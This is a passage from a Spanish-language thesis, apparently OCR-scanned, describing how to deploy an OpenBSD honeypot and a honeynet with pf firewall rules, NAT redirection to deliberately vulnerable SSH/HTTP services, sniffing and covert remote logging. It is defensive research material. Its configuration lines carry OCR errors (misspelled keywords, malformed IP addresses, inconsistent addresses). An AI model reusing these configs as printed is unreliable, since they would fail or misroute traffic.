2.3. Conclusion

Los honeypots son herramientas que pueden ayudar en la deteccién de amenazas de
seguridad, esto depende del nivel de interaccion con que cuenten, algunos son faciles
de instalar e implementar, pero su funcién se limita solo a la deteccién, ademés no se
estd ofreciendo mas que un servicio emulado con el cual un intruso no podra interactuar;
algunas otras aplicaciones permiten luchar en contra de ciertas amenazas como son gusanos
0 correo spam, pero requieren de una configuracién compleja.

Los honeypots son buenas herramientas que pueden complementar las medidas de seguri-
dad, sin olvidar que no ofrecen ninguna solucién a los problemas de seguridad, no resuelven
nada, por el contrario puede ser una navaja de 2 filos a proporcionar aparentemente un
sistema operatiwo vulnerable, ya que un wntruse con un avanzado nivel podria explotar los
sistemas de produccion.

Los honeypots proporcionan un panorama distinto sobre las amenazas en Internet.

Las honeynets son un tipo de honeypot disenado para obtener informacién, especifica-
mente las herramientas, tacticas y motivos de intrusos. Esta informacién serd utilizada por
las organizaciones para protegerse en contra de varias amenazas. Se tienen dos diferencias en
diseno entre un honeypot tradicional y una honeynet. La primer diferencia es: una honeynet
no es un simple sistema, esta una red de multiples sistemas y aplicaciones. La segunda
diferencia es que las honeynets cuentan con sistemas de produccion, los mismos sistemas que
se encuentran en la Internet hoy en dia, ni los sistemas ni las aplicaciones son emulados. Esta
combinacién hace de las honeynets una buena herramienta para aprender, especificamente
es un honeypot disenado para la investigacién. Sin embargo, las honeynets requieren
una tremenda cantidad de trabajo. El administrador de la honeynet es el responsable
de asegurar que otros sistemas no sean atacados de la honeynet comprometida. Sin una
propia administracion, los riesgos del uso tal vez se presenten. Esta herramienta no es la
panacea de la seguridad en cémputo, y tal vez no sea una solucién conveniente para todas
las organizaciones. Para esto primero se recomienda a las organizaciones primero enfocarse
en la seguridad la organizacién, corrigiendo adecuadamente los sistemas o deshabilitando
servicios no necesarios. Una vez aseguradas las organizaciones, tal vez sean capaces de usar
honeynets como una poderosa herramienta para tomar la iniciativa y aprender mads acerca
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del enemigo y de las organizaciones mismas.

Se debe estar consiente del compromiso y responsabilidad que implica el implementar
una honeynet, pues se podria decir que se estd jugando con fuego. El intruso puede tomar
ventaja y aprovechar cualquier mala configuracion.
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Capitulo 3

Diseno e Implementacion de
Tecnologias Honeypot y Honeynet

En los dos capitulos anteriores fueron descritas las tecnologias honeypot y honeynet, ahora
que se tiene un mejor entendimiento sobre estas se procederd con la implementacion de las
mismas, en el presenta capitulo se describirdn los procedimientos necesarios para lograr una
implementacion aceptable de dichas tecnologias, se comenzara con la implementacion de un
honeypot y posteriormente se continuard con una implementacién de una honeynet.

3.1. Implementacion Honeypot-DSC

Debido a las vulnerabilidades que han afectado al sistema operativo OpenBSD' se
implementara un honeypot para realizar una investigacién que permita estudiar cémo los
intrusos consiguen comprometer un sistema de este tipo. Se sabe que una de las vulnera-
bilidades del sistema operativo OpenBSD afecta al programa de conexion segura conocido
como OpenSSH,? el cual es instalado de forma estdndar; y la otra afecta al servidor de web
Apache, el cual no es instalado de forma estdndar. El honeypot implementado tendrda un
nivel de interaccion alto ya que permitird al intruso mantener una alta interaccién con un
sistema OpenBSD completo.

3.1.1. Objetivos

Los exploits recientes hacen simple explotar las dos vulnerabilidades de un sistema
operativo OpenBSD 3.1 sin corregir, por lo cual es necesario conocer cémo detectar estos
ataques vy como responder a estos, para ello se plantean los siguientes objetivos:

= Registrar las herramientas utilizadas por los intrusos al comprometer el sistema
honeypot.

'El sistema operativo OpenBSD es considerado por la comunidad de seguridad como uno de los sistemas
operativos mds seguros, para mayor informacion consultar: http://wuww.openbsd.org

20penSSH es un Secure Shell que es distribuido de manera libre, para mayor informacién consultar:
hitp: / fwunw.openssh.org
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= Determinar un patrén de comportamiento del intruso al comprometer el sistema.

3.1.2. Arquitectura

El honeypot propuesto tendra la arquitectura mostrada en la figura 3.1.

Internet

Servidor de
Produccion
Sniffer Honeypot
Firewall
ssh/http
Vulnerables
132.248.X.X
192.168.1.100
192.168.1.1
OpenBSD 3.1 OpenBSD 3.1

Figura 3.1: Arquitectura Honeypot-DSC

El honeypot debera aparentar ser un servidor de produccion el cual serd utilizado para
tal fin, podra utilizarse para cualquier servicio de produccién con excepcion de los servicios
web (http) y Secure Shell (ssh), ya que es en estos donde se desea estudiar y analizar
los ataques recientes. Como puede apreciarse en la figura 3.1 el servidor de produccion
tendra una direccion IP directamente conectada a Internel, en este se localizaran dos
elementos importantes que son el Sistema Detector de Intrusos y el Firewall, los cuales
seran los encargados de controlar el trafico y detectar ataques. Los servicios de web y
secure shell son direccionados hacia el sistema honeypot el cual cuenta con una direccién [P
no homologada ( 192.168.x.x ) a través de NAT (Network Address Translation)®. De esta
manera cuando un intruso intente explotar cualquiera de estos dos servicios en el servidor
de produccién, en realidad estara explotando el sistema honeypot el cual cuanta con los
servicios ssh y http vulnerables.

Como se puede apreciar en la figura 3.1 la arquitectura propuesta consta de los siguientes
elementos:

s Firewall

= Honeypot

INAT (Network Address Translation) permite implementar un enmascaramiento de IP, para mayor in-
formacion consultar: http://www.openbsd.org/docs/nat.html
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s Sniffer

» Sistema Detector de Intrusos (IDS)

3.1.3. Instalacion de elementos

Ahora se procedera a la instalacion y configuracion de cada uno de los elementos, se
comenzara con el firewall.
Firewall

El firewall sera implementado con Packet Filter (pf)* que acompartia al sistema operativo
OpenBSD desde su version 2.9. Packet Filter consta de un archivo de configuracién
localizado en: /etc/pf.conf, y no viene habilitado de manera estandar.

Para habilitar Packet Filter es necesario modificar la siguiente linea en el archivo de
ejecucion del sistema: /etc/rc.conf; es necesario cambiar el valor de la bandera pf de NO a
YES.

/etc/rec.conf

#!/bin/sh -
#
# $0penBSD: rc.conf,v 1.72 2002/01/08 12:04:43 tholo Exp §

# set these to "NO" to turn them off. otherwise, they're used as flags

pf=YES # Packet filter / NAT

Con esto se indica al sistema que habilite Packet filter y Network Address Translation
(NAT).

Ahora se procede a configurar el firewall en el archivo de configuracién de Packet Filter

/ete/pf.conf.

/ete/pf.conf

# $0penBSD: pf.conf,v 1.3 2001/11/16 22:53:24 dhartmei Exp $
#

# See pf.conf(5) for syntax and examples

# pass all packets in and out (these are the implicit first two rules)
# pass in all
# pass out all

# Variables utilizadas
IE="r10" # Interfase Externa

II="r11" # Interfase Interma

# Limpiando de fragmentos y paquetes anormales
scrub in all

# Pasan los paquetes TCP SYN en el puerto 22 de cualquier direccin

4 Packet Filter es una utilerfa que permite el filtrado de paquetes de red, para mayor informacién consultar:
hitp:/ /www.openbsd.org/faq/faq6.him!
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# a cualquier direccin a travs de la interfase de red externa IE
pass in log quick on $IE inet proto tcp from any to any port = 22 flags S keep state

# Pasan los paquetes en el puerto 128, se hace esto ya que los dos exploits
# publicados abren un root shell en el puerto 128
pass in log quick on $IE inet proto tcp from any to any port = 128 flags S keep state

# Bloquea todo lo dems en la interfase externa IE
bleck in log quick on $IE all

# Pasan los paquetes que estn destinados hacia el honeypot 192.168.3.100
pass out log quick on $II from any to 192.168.3.100/32 flags S keep state

# Pasan los paquetes provenientes del honeypot del puerto 514 del protocolo udp

# utilizado para un servidor de syslog remoto

pass in log quick on $II inet proto udp from 192.168.3.100/32 to any port = 514 flags S keep
state

# Se bloquean los posibles ataques que se puedan hacer una vez comprometido

# el honeypot, como son escaneos de redes.

block in log quick on $II inet proto tcp from 192.168.3.100/32 to any port = 111 flags S keep
state

block in log quick on $II inet proto tcp from 192.168.3.100/32 to any port = 22 flags S keep
state

# Se permite el ingreso del trafico proveniente del honeypot
pass in log quick on $II from 192.168.3.100/32 to any

Para controlar Packet filter se utiliza el comando pfctl. Para habilitar el firewall se ejecuta
el comando de la siguiente manera:

# pfctl -e

Para leer el archivo de configuracién y validar las reglas se utiliza:

# pfctl -R /etc/pf.conf

Y para deshabilitarlo:

# pfctl -d

Ahora que sea logrado controlar el trafico de entrada y salida se procedera a lograr el
enmascaramiento de direccién IP de una IP homologada (192.168.X.X)a una IP no homolo-
gada (192.168.1.100), para esto se utilizarda NAT (Network Translation Address), el proceso
se describe a continuacion.

NAT (Network Translation Address)

NAT (Network Translation Address) serd el mecanismo que se encargard de redireccionar
todos los accesos de ssh y hitp que mantenga el servidor de produccién hacia el honeypot
vulnerable.

Para habilitar NAT serd necesario contar con el ruteo de paquetes, esto se hace quitando
el comentario a la siguiente linea el archivo de control del sistema: /etc/sysctl.
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/ete/sysctl. conf

# $0penBSD: sysctl.conf,v 1.25 2002/02/23 08:07:58 deraadt Exp §

#

# This file contains a list of sysctl options the user wants set at

# boot time. See sysctl(3) and sysctl(8) for more information on

# the many available variables.

#

net.inet.ip.forwarding=1 # 1=Permit forwarding (routing) of packets

Con esto se permite el redireccionamiento de paquetes de red.

Para configurar NAT sera necesario configurar el siguiente archivo /etc/nat.conf.

/etc/nat. conf
$0penBSD: nat.conf,v 1.4 2001/07/09 23:20:46 millert Exp §

See nat.conf(5) for syntax and examples

#
#
#
#
# replace ext0 with external interface name, 10.0.0.0/8 with internal network
# and 192.168.1.1 with external address
#
#
#
#

nat: packets going out through extO with source address 10.0.0.0/8 will get
translated as coming from 192.168.1.1. a state is created for such packets,
and incoming packets will be redirected to the internal address.

# nat on ext0 from 10.0.0.0/8 to any -> 192.168.1.1

# rdr: packets coming in through ext0O with destination 192.168.1.1:1234 will

# be redirected to 10.1.1.1:5678. a state is created for such packets, and

# outgoing packets will be translated as coming from the external address.

# rdr on ext0 proto tcp from any to 192.168.1.1/32 port 1234 -> 10.1.1.1 port 5678

IE="r10" #Interfase Externa

# Redirecciona todos los paquetes del protocolo tecp de cualquier host

# al puerto 22 de cualquier host hacia el host 192.168.3.100 (honeypot)

# con esto se redirecciona todas las conexiones de ssh hacia el honeypot

rdr on $IE proto tcp from any to any port 22 -> 192.168.3.100

# Redirecciona las conexiones del protocole 128 al honeypot
rdr on SIE proto tcp from any to any port 128 -> 192.168.3.100

# Redirecciona todas las conexiones al puerto 80 hacia el honeypot
rdr on $IE prote tcp from any to any port 80 -> 192.168.3.100

Para leer el archivo de configuracion de NAT serd necesario ejecutar el siguiente comando:

# pfctl -N /etc/nat.conf

Ahora se muestra el estado del Firewall ejecutando el siguiente comando:

# pfctl -s all

Honeypot

En el sistema honeypot solo es necesario realizar una instalacion esténdar y asignar una
direccién no ruteable que es: 192.168.3.100.

Esto puede hacerse configurando el archivo: /etc/hostname. XX
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/etc/hostname.XX
inet 192.168.3.100 255.255.255.0 NONE media 10baseT

Ademas se deberi colocar como ruteador el identificador de la interfase interna del servi-
dor de produccién, para este caso 192.168.3.1, se hace esto en el archivo: /etc/mygate.

/etc/mygate
192.168.3.1

Hasta el momento se tiene aplicado el control de trafico de red, pero es necesario registrar
los movimientos de los intrusos para esto se ejecutard un sniffer el cual capturara todo el
trafico que ingrese o salga del honeypot.

Sniffer

Tepdump® se ejecutard en segundo plano en el servidor de produccién en la interfase de
red interna. Para hacer esto se ejecuta el siguiente comando:

/usr/sbin/tcpdump -n -i rli -s 2500 -w /home/user/SSH.dump host 192.168.3.100

Cuando syslog® falle cada comando ejecutado por los intrusos sera registrado por tep-
dump, cabe senalar que el ezploit utilizado para explotar la vulnerabilidad de ssh no utiliza
encriptacion, por tal motivo todo pasa en texto plano, es por eso que tepdump podré registrar
dicha actividad.

Sistema Detector de Intrusos (IDS)

El Sistema Detector de Intrusos permitira identificar los ataques que sean ejecutados
hacia el servidor de produccidn, el software utilizado es para realizar la consulta del tréfi-
co de red de una manera més adecuada es ACID (Analysis Console for Intrusion Database)”.

Este es un ejemplo de los pocos recursos que se necesitan para construir un honeypot
exitoso. En realidad es muy simple. Un sistema ejecutando OpenBSD version 3.1, en el
frente actuando como Firewall/IDS y una red privada en la parte trasera habilitada con
NAT (Network Translation Address), el cual se encargara de redireccionar los puertos de
ssh y hitp hacia el honeypot que contiene estos servicios vulnerables.

Para implementar un honeypot se debera enfocar en cémo implementar un simple sistema
disenado para ser comprometido. Una vez comprometido, se podra conocer las herramientas
y tédcticas de los intrusos. Al implementar una honeynet se toma este concepto. En vez de
implementar un simple sistema, una honeynet es una red entera. Un gran departamento
de informacién podra ser aprendido. A continuacién se describe la implementacion de una
tecnologia honeynet.

5 Tepdump es una utilerfa que permite la captura de trafico de red.
6 Syslog es el sistema de registro de bitdcoras.
TACID es deserito a mayor profundidad en la seccidn 3.2.2/
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3.2. Implementaciéon Honeynet-DSC

Como fue descrito en el capitulo anterior, una honeynet es una herramienta disenada
para ensenar como los intrusos prueban y explotan una red, para conocer sus herramientas
y sus métodos, con esto se puede proteger mejor a la red y a los sistemas. Las honeynets no
son utilizadas para capturar intrusos.

Implementar una honeynet es similar a implementar un honeypot, muchos conceptos
son similares. Pero en vez de tener un solo sistema, se tienen muchos. Hay una variedad de
diferentes caminos para estas. Esto esta basado en la simplicidad. Construir una red estandar
para conocer como los wntrusos la comprometen. No se hace nada especial con esta red, se
construye de manera similar a la red en produccién. Incluyendo los sistemas operativos,
ruteadores, switches, etc. Entonces se conecta la red y se espera. Tarde o temprano alguien
buscara en la red y atacard esta. La red se implementa para ser atacada y comprometida,
alguien obtendra el control de un sistema, que es lo que se quiere. Como quiera que sea los
intrusos obtendran el control y se estard registrando cada movimiento. [5]

3.2.1. Estrategia

La estrategia estd basada en la simplicidad. Implementando sistemas de los cuales se
quiera aprender, colocarlos en una red y entonces esperar. La clave para hacer este trabajo
es hacer la red dedicada a la honeynet. Los tinicos sistemas dentro de esta red deberdn
ser honeypots, disenados para ser comprometidos. Esto simplifica el proceso entero. Para
tener una honeynet dedicada, se deberd crear un ambiente controlado, donde se conozca
exactamente qué tréfico estd entrando y saliendo. En caso de detectar cualquier trafico,
este es sospechoso por naturaleza. Aqui se tienen varios retos para crear este ambiente
controlado. Primero, cémo se pueden registrar los movimientos del intruso sin que tenga
conocimiento; segundo, como se puede alertar cuando el sistema es probado o comprometido;
ultimo, cémo parar a los intrusos para que una vez que han comprometido un honeypot no
puedan comprometer otros sistemas que no son parte de de la honeynet. La solucion es
relativamente simple, mantener la honeynet a través de un propio firewall dedicado. Esto
resuelve una variedad de problemas.

= Primero, muchos firewalls registran todo el trafico que pasa a través de ellos, esto viene
a ser la primera capa de registro de los movimientos del intruso. Con la revisién de
los registros del firewall, se podra comenzar a determinar cémo los ntrusos prueban
la honeynet y que hacen después de ingresar.

= Segundo, muchos firewalls tienen algunas capacidades de alerta. Se podra construir
simples alertas mientras alguien prueba la red. Como no se tienen conexiones a los
honeypots, cualquier paquete enviado es una prueba de algun intruso. Si se tiene
cualquier trafico del honeypot hacia Internet, entonces se podrda asegurar que el
honeypot ha sido comprometido.

= Tercero, el firewall puede controlar qué trafico ingresa o qué tréfico sale. En este caso,
el firewall permite que cualquier trafico ingrese pero es limitado el trafico de salida.
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Con este mecanismo, los intrusos podran buscar, probar y explotar los honeypots pero
no podran comprometer otros sistemas.

El éxito se logra manteniendo la honeynet dentro de un ambiente controlado. Muchos
firewalls pueden hacer esto, controlando y registrando el trafico que pasa a través de ellos.

3.2.2. Registro de movimientos

Ahora, se verd como se puede registrar los movimientos de los intrusos sin que
tengan conocimiento de ello. Primero, como se describié en el capitulo anterior, no se
deberd depender de una sola fuente de informacién. Cualquier cosa puede estar mal, algunas
cosas pueden ser borradas, alteradas, etc. Se debera registrar en capas. De esta manera,
si algo sale mal, se tendran recursos adicionales de informacién. Por lo que comparan-
do las diferentes fuentes de informacién, se podra pintar una fotografia mas amplia del suceso.

No se deberd almacenar informacién en el honeypot mismo. Esto es por dos razones.
Primero, algunas modificaciones que se realicen al honeypot. Los demds cambios que se
realizen, por casualidad un ntruse podréa descubrir que algo esta activo. La segunda razoén,
se podra facilmente perder informacion. No se debe olvidar, tarde o temprano el intruso
tomaré el control del honeypot. En varias ocasiones se encontrarian datos alterados o en
algin otro el disco entero podra ser borrado. El éxito serd registrar los movimientos del
mtruso pero registrado todos los datos en un sistema donde no puedan acceder. Como se
describié en el capitulo anterior la primer capa de registro son las bitdcoras del firewall.
Adicionalmente se podrén registrar los movimientos de intruso con otros mecanismos.

Una segunda capa, es utilizar el sistema de registro del honeypot. Los registros pro-
porcionan datos valiosos, pueden decir qué procesos del kernel y de usuario se estdn
ejecutando. Sin embargo, comuinmente la primer cosa que un intruso hace es borrar o
modificar el sistema de registro y troyanizar el syslogd. Entonces el reto es registrar la
actividad del suslogd en otro servidor, pero sin que el intruso tenga conocimiento de ello.
Para hacer esto primero se construye un servidor syslog dedicado. Normalmente en una red
diferente separada por el firewall. El host recibird los registros de los honeypots. Entonces, se
necesitara recompilar el syslogd en el honeypot para que lea una configuracién diferente de
un archivo como /var/tmp/.conf. De esta manera el intruso no podra determinar ficilmente
donde esté el archivo de configuracién. Esto es simple de hacer, tinicamente se cambia la
entrada en etc/syslog.conf en el codigo fuente a donde se quiera que se encuentre este
archivo. Después se ejecutara el servidor para que registre de dos maneras localmente y
en el servidor remoto. Se deberd de estar seguro de mantener una copia estandar de el
archivo de configuracion /etc/syslog.conf, el cual contendrd todo el registro local. Aun
cuando este archivo no sea de utilidad, pero con esto se impedird que el intruso comience a
sospechar de un servidor remoto de syslog. Entonces toda la informacién serd almacenada
remotamente y localmente, sin embargo, el intruso debera asumir que el sistema de registro
es unicamente local. Basados en esta instalacion, se podrd capturar todos los registros de
los sistemas, incluyendo cudndo el sistema es comprometido. Esto podrd ayudar a conocer
como el sistema fue probado y explotado. Es realmente interesante comparar estos registros
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del sistema con los registros limpiados de un intruso en un sistema comprometido.

La tercera capa (la primera el firewall, la segunda el syslog troyanizado) es utilizar un
smaffer. Ejecutar un sniffer en el firewall que captura cualquier trafico que provenga o se diri-
ja hacia el honeypot. Desde que el honeypot es incomunicado por el firewall, se conoce todo el
trafico que viene a través del firewall. La ventaja de un sniffer es que recoge todos los coman-
dos ejecutados asi como pantallas mostradas. De esta manera se podra observar exactamente
lo que el intruso esta observando. Como quiera de sea toda la informacién es registrada en el
firewall, manteniendo a salvo y protegiendo del intruso. Una desventaja es cuando el intruso
esconde sus movimientos con cifrado como puede ser ssh (secure shell). Sin embargo, si no
se estd ejecutando ningiin servicio como este en los sistemas, el intruso tal vez no utilice esto.

Los Sistemas Detectores de Intrusos (IDS) también podran ser agregados a la red. Una
vez mas, esto agrega capas adicionales de informaciéon obtenida. Esto también permite
comparar y constatar diferentes tecnologias de Sistemas Detectores de Intrusos, otorgando
la informacién para determinar que trabaja mejor en el ambiente.

Finalmente, se ejecutard tripwire® (o una herramienta que ayude a verificar la integridad
del sistema de archivos). Tripwire indica qué binarios han sido alterados en un sistema
comprometido (como pasarfa si un nuevo usuario a sido agregado al /ete/passwd o ha sido
troyanizado). Se hara esto ejecutando tripwire hacia un disco flexible, entonces se almacena
la base de datos de tripwire en un disco flexible. No se querrd que la informacién sea
almacenada localmente en el sistema. Al almacenarlo en un medio removible se garantiza
la integridad de los datos. Por esto los datos deberan de agregarse con precaucién. Se
recomienda compilar tripwire como una liga estatica. De esta manera no se estd utilizando
librerias que puedan comprometer el honeypotl. Por maximizar precauciones se reiniciara de
un disco de inicio y entonces se ejecutard tripwire. Esto protegerd en contra de médulos del
kernel troyanizados.

Se pueden encontrar estas tres capas como redundantes. Pero se debe recordar, una simple
capa de informacién no podra capturar todo el tréfico. También, diferentes origenes dardn
diferente informacién. Por ejemplo, muchos sistemas no pueden detectar escaneos stealth,
sin embargo, muchos firewalls si pueden. Si el firewall registra que un honeypot ha sido
escaneado, pero este no tiene nada en sus registros de sistema, entonces probablemente ha
sido escaneado por un escaner “stealth”, como puede ser nmap. También, nadie es perfecto.
A menudo mientras se ejecuta correctamente un servicio, se elimina otro. Podria accidental-
mente eliminar el sistema de registro o el sniffer. Para tener otras capas de informacioén. Se
podra inmovilizar colocando una fotografia de que ha pasado. Si se desarrolla cualquiera de
los métodos de registro, es altamente recomendable colocarlos. Entre mas capas se tengan
mejor serd el monitoreo que se tenga. Si se tiene algtin otro método se puede tal vez recomen-
dar. Los métodos adicionales pueden incluirse alterando el shell del sistema o el kernel para
registrar los comandos ejecutados.

8 Tripwire es una herramienta que verifica la integridad del sistema de archivos de un sistema,ara mayor
informacion consultar: http://www.tripwire.org
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3.2.3. Dificultades

Se debe recordar, el objetivo es aprender acerca de los intrusos, sin que los intrusos
tengan conocimiento de ello. Para ayudar a que los intrusos ataquen los sistemas. Tal vez
se podria colocar nombres atractivos a los servidores, como podria ser: nsl.ejemplo.com
(nombre del servidor), mail.ejemplo.com (servidor de correo) o web.ejemplo.com (servidor
de web interno). Estas serdn las primeras fuentes de informacién para los intrusos. Una
vez que se ha decidido esto se usard los métodos descritos anteriormente para registrar sus
acciones.

Una vez que el intruso a conseguido la cuenta de administrador (root), la pregunta viene
a ser: jy ahora que?. Normalmente, se contintia el monitoreo del servidor por varios dias,
para conocer que es lo que el intruso esta realizando. Sin embargo, se debe tener mucho
cuidado, eventualmente el intruse puede darse cuenta que se encuentra en un honeypot. Si
el intruso se da cuenta, algunas cosas malas pueden ocurrir. Lo que se podria recomendar
serfa, una vez que se ha aprendido cualquier cosa, se deberd patear al intruso fuera,
normalmente reiniciando el sistema. Se hace esto con el comando shutdown, enviando un
mensaje a todos los usuarios conectados (al intruso), indicando que el sistema sera dado de
baja por mantenimiento rutinario. Entonces se coloca el sistema fuera de linea, removiendo
las puertas traseras “backdoors’ que el intruso realizd y regresando el sistema de regreso en
linea. O se podria reinstalar, implementando un nuevo sistema, se podra recomendar que se
arreglen las vulnerabilidades que fueron utilizadas para obtener acceso la tltima vez, asi se
podra aprender mas sobre otros exploits o vulnerabilidades.

Se debe limitar al intruso, no se querra que el intruso lleve a cabo un ataque del honeypot
a otros objetivos. Se hara esto utilizando un firewall. Todo el trifico de y hacia la honeynet
debera pasar a través del firewall. Se usard una base de reglas para permitir cualquier
trafico de Internet alcanzar el firewall, pero se limita el trafico de salida (béasicamente
seria como invertir la funcién para la que los firewall son disenados). El truco estd en
permitir que suficiente trafico salga para que el intruso no comience a sospechar, pero se
debera inmovilizarlo limitando sus habilidades. Si se bloquea todo el trafico de salida. el
intruso puede darse cuenta que algo estd instalado. Si se permite todo el trafico de salida, el
intruso podrd escanear en Internet desde el sistema. Y ahora el administrador del sistema
serd responsable de las acciones del intruso, por lo que se deberd de encontrar un balance.
Normalmente la primera cosa que un ntruso hace es lo siguiente: después de acceder baja
sus herramientas y las instala. Si los intrusos no pueden alcanzar Internet, pueden cubrir
sus registros y salir del sistema. Lo que podria funcionar es permitir todo el trafico de
entrada, y permitir conexiones de salida de FTP (ICMP) y DNS (UDP). Normalmente,
esto es suficiente para el intruso sin que comience a sospechar, pero se deberd denegar, si
utilizan muchas de sus herramientas de salida. Se debe encontrar un balance adecuado de
los servicios o protocolos a los cuales se permitird la salida de la honeynet.

Todo lo que se permita salir, es lo que se espera que el intruso utilice. Asegurando que se
tenga un buen mecanismo de alerta, con el cual se podria saber lo més pronto posible si el
sistema ha sido probado o ha sido comprometido. Se quiere obtener esta informacién lo mas

Andlisis de Amenazas de Sequridad en Computo



3.2 Implementacién Honeynet-DSC 99

rapido posible. No se querra que el intruso capture esto antes de que se tenga conocimiento
de que a ocurrido un incidente.

3.2.4. Instalacién de elementos

Ahora que ya se conoce acerca de los requerimientos se procedera a disefiar un esquema
que cumpla con estos, se deben de tener en cuenta muchos aspectos si no se quiere tener un
esquema mal planeado, ya que esto podria traer consecuencias no deseadas. Se analizaron
una seria de herramientas que pueden auxiliar en la implementacién de la honeynet, es-
tas herramientas haran que la honeynet cumpla con los estdndares descritos en el capitulo
anterior.

Arquitectura Honeynet-DSC
La arquitectura que serd implementada es la siguiente:

Firewall

Sniffer

Syslag
Remoto

Hub

EDDDD [=]s)
s[s]u]w]=]u]s]

Honeypot

Linux Solatis8 FreeBSD 4.5 Windows 2000
Red Hat 6.2 Advanced Server

Como se puede observar en la figura anterior la arquitectura propuesta consta de varios
elementos:

= Firewall
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Firewall

Internet

Redireccionamiento
de Syslog a Servidor
de Sysiog Remoto

Elt_ho sin IP
Puenteo de IEJQﬂﬂ 192.168.3.1

Interfaces de
Red ethn <etnz [[UBEth2 sin 1P
Hub Red Administradora

Hub Red Honeypots

slEEEEE==

192.168.3.
132.248.XXX.

Figura 3.2: Arquitectura de Firewall Honeynet-DSC

Sistema Detector de Intrusos (IDS)

Servidor remoto de syslog

Sniffer

Honeypots

La red administradora compuesta por el firewall, Sistema Detector de Intrusos, y Syslog
Remoto, estard implementada sobre una misma plataforma, es decir los tres equipos tendran
instalado OpenBSD 3.1, ya que con esto se facilita la administracién y el mantenimiento de
la honeynet. Los honeypots tendran instalados sistemas operativos estandar como los que se
pueden encontrar en cualquier organizacion conectada a Internet

Firewall

La utileria que permite implementar un firewall es llamada Packet Filter (pf). Para
implementarlo adecuadamente primero es necesario aplicar algunos procedimientos:

Como puede apreciarse en la figura 3.2 es necesario que el firewall cuente con 3 tarjetas
de red. La primer tarjeta estard conectada directamente a Internet y no tiene una direccion
IP asignada, esta estard interconectada con la tercer tarjeta de red que alimentara a la red
de honeypots. La segunda tarjeta de red alimentara a la red administradora y tendrda una
direccién IP no homologada, siendo por esta por la cual se realizard el redirecionamiento de
syslog remoto.

A continuacién se describen los procedimientos necesarios para lograr esta arquitectura.

= Interfaces de Red
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Al interconectar las interfaces de red permitird que el tréfico que ingrese por la primer
interfaz de red (r10) pase hacia la segunda interfaz de red (rl1).

Verificacion de interfaces de red mediante el comando ifconfig®.

# ifconfig -a
rl0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> mtu 1500
media: Ethernet autoselect (none)
status: active
rll: flags=8802<BROADCAST,SIMPLEX ,MULTICAST> mtu 1500
media: Ethernet autoselect (none)
status: active
rl2: flags=8c43<UP,BROADCAST,RUNNING,OACTIVE,SIMPLEX ,MULTICAST> mtu 1500

media: Ethernet 1l0ObaseT
status: active

bridge0: flags=0<> mtu 1500
bridgel: flags=0<> mtu 1500

Como se podra observar en la salida del comando anterior los identificadores de las
interfaces de red son 0, rl1 y ri2.

Estableciendo la conexion entre las interfaces de red.

# /sbin/brconfig bridge0 add rl0 add rll up

El comando bfconfig permitird crear el puente entre ambas interfaces de red.

Comprobando el puente de las dos interfaces de red:

# ifconfig -a

bridge0: flags=41<UP,RUNNING> mtu 1500

Como se puede observar en la salida del comando anterior, el puente bridgel esta eje-
cutandose.

= Packet Filter (pf)

Se debera habilitar Packet Filter (pf) en el archivo de inicializacion de OpenBSD que
es /ete/re, en el cual se debera de modificar la siguiente linea:

pf=NO # Packet filter / NAT

Yifconfig es un comando que permite ver la configuracién de las interfaces de red en un sistema unix.
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Por esta otra:

pf=YES # Packet filter / NAT

Ser4d necesario especificar las reglas del firewall en el archivo de
configuracion de Packet Filter /etc/pf.conf.

/etc/pf.conf

\$0penBSD: pf.conf,v 1.2 2001/06/26 22:58:31 smart Exp \$
#
# See pf.conf(5) for syntax and examples

# pass all packets in and out (these are the implicit last two rules)
# pass in all
# pass out all

Ademds de ejecutar el comando pfctl para reiniciar el servicio indicando la ruta del
archivo de configuracion /etc/pf.conf.

# pfctl -R /etc/pf.conf

Con esto ha quedado funcionando el firewall, pero atin falta especificar las reglas que
debera utilizar para el filtrado de paquetes.

Archivo de configuraciéon /ete/pf.conf, el cual contiene las reglas que especifican
servicios y protocolos bloqueados y permitidos.

/etc/pf.conf

# $0penBSD: pf.conf,v 1.3 2001/11/16 22:53:24 dhartmei Exp $
#

# See pf.conf(5) for syntax and examples

# pass all packets in and out (these are the implicit first two rules)
# pass in all
# pass out all

#Variables

IE="r10" # Interfase Externa
IT="r1l1" # Interfase Interna
IR="rl2" # Interfase Ruteda

# Honeypots
Honeypots="{192.168.115.115/32, 192.168.115.116/32, 192.168.115,117/32,
192.168.115.118/32, 192,168.115.110/32 }"

# Servicios tcp permitidos que ingresaran a los honeypots
Serv_Tcp="{ ftp, domain, www, irc }"

# Servicios udp permitides que ingresaran a honeypots
Serv_Udp="{ domain, bootps }"

# Direcciones reservadas
Reservadas="{ 0.0.0.0/8, 10.0.0.0/8, 20.20.20.0/24, 127.0.0.0/8, 169.254.0.0/16,
172.16.0.0/12, 192.168.0.0/16, 204.152.64.0/23, 224.0.0.0/3, 255.255,255.255 }"

# Bloqueo de ataque Spoofers
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block in quick on $IE from $Reservadas to any
block out quick on $IE from $Honeypots to $Reservadas

# Por default se bloquea todo el trafico de salida
block out log on $IE all

# Todo el trafico de entrada es permitido en la Honeynet
pass in on $IE all keep state

# Conexiones de salida de la Honeynet

# Solo se permiten determinados protocolos y servicios

pass out log quick on $IE inet proto tcp from $Honeypots to any port $Serv_Tcp flags
S/5A keep state

pass out log quick on $IE inet proto udp from $Honeypots to any port $Serv_Udp keep
state

pass out log quick on $IE inet proto icmp from $Honeypots to any icmp-type 8 code 0
keep state

Una vez que se han verificado las reglas el funcionamiento del firewall deberd funcionar
como esta planeado en su arquitectura.

= NAT (Network Address Translation)

NAT se encargard de redireccionar los paquetes de syslog provenientes de los honeypots,
para esto es necesario indicarle al kernel que permita el redireccionamiento de paquetes
en el archivo de inicio de OpenBSD /etc/sysctl.conf.

fetc/sysctl.conf

# $0penBSD: sysctl.conf,v 1.25 2002/02/23 08:07:58 deraadt Exp $

#

# This file contains a list of sysctl options the user wants set at

# boot time. See sysctl(3) and sysctl(8) for more information on

# the many available variables.

#

net.inet.ip.forwarding=1 # 1=Permit forwarding (routing) of packets

Ademas de configurar las reglas en el archivo de configuracion de NAT: /etc/nat.conf
/etc/nat.conf .
$0penBSD: nat.conf,v 1.4 2001/07/09 23:20:46 millert Exp §
See nat.conf(5) for syntax and examples

#
#
#
#
# replace ext0 with external interface name, 10.0.0.0/8 with internal network
# and 192.168.1.1 with external address
#
#
#
#

nat: packets going out through ext( with source address 10.0.0.0/8 will get
translated as coming from 192.168.1.1. a state is created for such packets,
and incoming packets will be redirected to the internal address.

# pat on ext0 from 10.0.0.0/8 to any -> 182.168.1.1

